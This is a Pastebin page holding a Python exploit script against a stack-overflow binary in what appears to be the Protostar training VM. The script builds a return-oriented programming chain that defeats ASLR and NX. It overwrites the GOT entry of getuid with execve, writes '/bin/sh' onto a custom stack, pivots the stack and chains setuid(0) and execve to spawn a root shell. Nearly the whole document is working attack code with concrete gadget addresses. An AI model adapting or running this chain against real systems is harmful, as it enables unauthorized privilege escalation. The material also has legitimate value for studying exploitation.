Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- #
- # Sample exploit presenting way of dealing with ASLR and NX protections
- # on modern x86 linuxes, as presented ib:
- # # echo 2 > /proc/sys/kernel/randomize_va_space
- # # uname -a
- # Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux
- # # cat vuln.c
- #
- # #include <stdio.h>
- # #include <string.h>
- # #include <stdlib.h>
- #
- # int main (int argc, char **argv) {
- # char buf[256];
- # int i;
- # seteuid(getuid());
- # if(argc < 2) {
- # puts("Need an argument\n");
- # exit(-1);
- # }
- # strcpy(buf, argv[1]);
- # printf("%s\nLen:%d\n", buf, (int)strlen(buf));
- # return 0;
- # }
- #
- # root@protostar:/tmp# readelf -r /opt/protostar/bin/vuln3
- # [...]
- # 0804977c 00000607 R_386_JUMP_SLOT 00000000 getuid
- # 08049780 00000707 R_386_JUMP_SLOT 00000000 puts
- # 08049784 00000807 R_386_JUMP_SLOT 00000000 seteuid
- # 08049788 00000907 R_386_JUMP_SLOT 00000000 exit
- #
- # root@protostar:/tmp# readelf -s /lib/libc-2.11.2.so | grep -E "execve|getuid"
- # 1037: 000971c0 250 FUNC GLOBAL DEFAULT 12 fexecve@@GLIBC_2.0
- # 1465: 00097c00 12 FUNC WEAK DEFAULT 12 getuid@@GLIBC_2.0
- # 1484: 00097170 78 FUNC WEAK DEFAULT 12 execve@@GLIBC_2.0
- #
- #
- # WIP, to be refactored and enhanced.
- #
- # Mariusz B., 2016
- #
- import struct
- import ctypes
- import sys
- def uint32(x):
- return ctypes.c_uint32(x).value
- EBP = 0x4e4e4e4e
- CORRECTING_VALUE = 0x01020305
- GADGET_SETEBX = 0x80484d2
- GADGET_SETEDI = 0x80485f7
- GADGET_LEAVERET = 0x80483a6
- GADGET_ADD_TO_VALUE = 0x80484cb
- libc_execve_offset = 0x97170
- libc_getuid_offset = 0x97c00
- got_getuid_addr = 0x804977c
- got_execve_addr = got_getuid_addr
- got_printf_addr = 0x80483f8
- got_setuid_addr = 0x8048428
- got_exit_addr = 0x8048438
- execve_rel = uint32(uint32(-libc_getuid_offset) + uint32(libc_execve_offset))
- custom_stack_base = 0x8049f10
- custom_stack_offset = 0
- def conv(x):
- if type(x) == type(''):
- return conv(struct.unpack("<I", x)[0])
- return struct.pack("<I", x)
- def conv2(x):
- return struct.unpack("<I", x)[0]
- def setebx(val32, ebp = EBP):
- # gadget: set ebx
- # 0x80484d2:
- # popl %ebx
- # popl %ebp
- # ret
- rop = ''
- rop += conv(GADGET_SETEBX)
- rop += conv(val32)
- rop += conv(ebp)
- return rop
- def setedi(val32, ebp = EBP):
- # gadget: set edi
- # 0x80485f7:
- # popl %edi
- # popl %ebp
- # ret
- rop = ''
- rop += conv(GADGET_SETEDI)
- rop += conv(val32)
- rop += conv(ebp)
- return rop
- def add_to_value(addr, val32):
- # gadget: overwrite indirect memory
- # 0x80484cb:
- # xchgl %edi, %eax
- # addb $0x08, %al
- # addl %eax, 0x5d5b04c4(%ebx)
- # ret
- rop = ''
- # Check if value contains null byte
- if (( val32 & 0xff000000 == 0)
- or ( val32 & 0x00ff0000 == 0)
- or ( val32 & 0x0000ff00 == 0)
- or ( val32 & 0x000000ff == 0) ):
- rop += add_to_value(addr, uint32(val32 + CORRECTING_VALUE))
- val32 = uint32(-CORRECTING_VALUE)
- rop += setedi(uint32(val32 - 8))
- rop += setebx(uint32(addr - 0x5d5b04c4))
- rop += conv(GADGET_ADD_TO_VALUE)
- return rop
- def stack_pivot(custom_stack):
- # gadget: leave-ret performing stack-pivot
- # 0x80483a6:
- # leavel
- # ret
- rop = ''
- rop += conv(GADGET_SETEBX+1)
- rop += conv(uint32(custom_stack))
- rop += conv(GADGET_LEAVERET)
- rop += conv(uint32(custom_stack))
- rop += conv(uint32(custom_stack+4))
- return rop
- def fake_frame(func, param1 = 'XXXX', param2 = 'YYYY', param3 = 'ZZZZ'):
- global custom_stack_offset
- rop = ''
- rop += conv(uint32(custom_stack_base + custom_stack_offset)) # +0
- rop += conv(func) # +4
- rop += conv(GADGET_LEAVERET) # +8
- rop += conv(param1) # +12
- rop += conv(param2)
- rop += conv(param3)
- custom_stack_offset += len(rop)
- return rop
- junk = 'A' * 268
- exp = junk + conv(EBP)
- # Overwriting getuid's GOT entry with address of execve within libc
- # GOT[getuid] = execve
- exp += add_to_value(got_getuid_addr, execve_rel)
- # Constructing "/bin/shXXXX%nYYYYYYY" string on custom stack
- exp += add_to_value(custom_stack_base+0, conv2('/bin'))
- exp += add_to_value(custom_stack_base+4, conv2('/shX'))
- exp += add_to_value(custom_stack_base+8, conv2('XXX%'))
- exp += add_to_value(custom_stack_base+12, conv2('nYYY'))
- exp += add_to_value(custom_stack_base+16, conv2('YYYY'))
- exp += add_to_value(custom_stack_base+7, uint32(0-struct.unpack('<I', 'XXXX')[0]))
- exp += add_to_value(custom_stack_base+13, uint32(0-struct.unpack('<I', 'YYYY')[0]))
- custom_stack_offset += 28
- binsh = custom_stack_base + 0
- binsharray = custom_stack_base + 20
- printfmt = custom_stack_base + 11
- setuidparam = custom_stack_base + custom_stack_offset + 12
- execveparam = custom_stack_base + custom_stack_offset + 32
- # Prepare ["/bin/sh", 0] array for execve
- exp += add_to_value(binsharray, binsh)
- on_custom_stack = ''
- # setuid(0)
- on_custom_stack += fake_frame(got_setuid_addr, 'HHHH')
- # execve("/bin/sh", ["/bin/sh", 0], 0);
- on_custom_stack += fake_frame(got_execve_addr, binsh, binsharray, 'JJJJ')
- # exit(0)
- on_custom_stack += fake_frame(got_exit_addr, 0, 0, 0)
- # Construct ROP gadgets chain to build chained frames on custom stack
- for i in range(0, len(on_custom_stack)-4, 4):
- exp += add_to_value(custom_stack_base+28+i, conv2(on_custom_stack[i:i+4]))
- exp += add_to_value(setuidparam, uint32(0-struct.unpack('<I', 'HHHH')[0]))
- exp += add_to_value(execveparam, uint32(0-struct.unpack('<I', 'JJJJ')[0]))
- # Stack pivotting into custom stack to leverage chained return-into-libc
- # exploitation technique
- exp += stack_pivot(custom_stack_base + 28)
- sys.stdout.write(exp)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement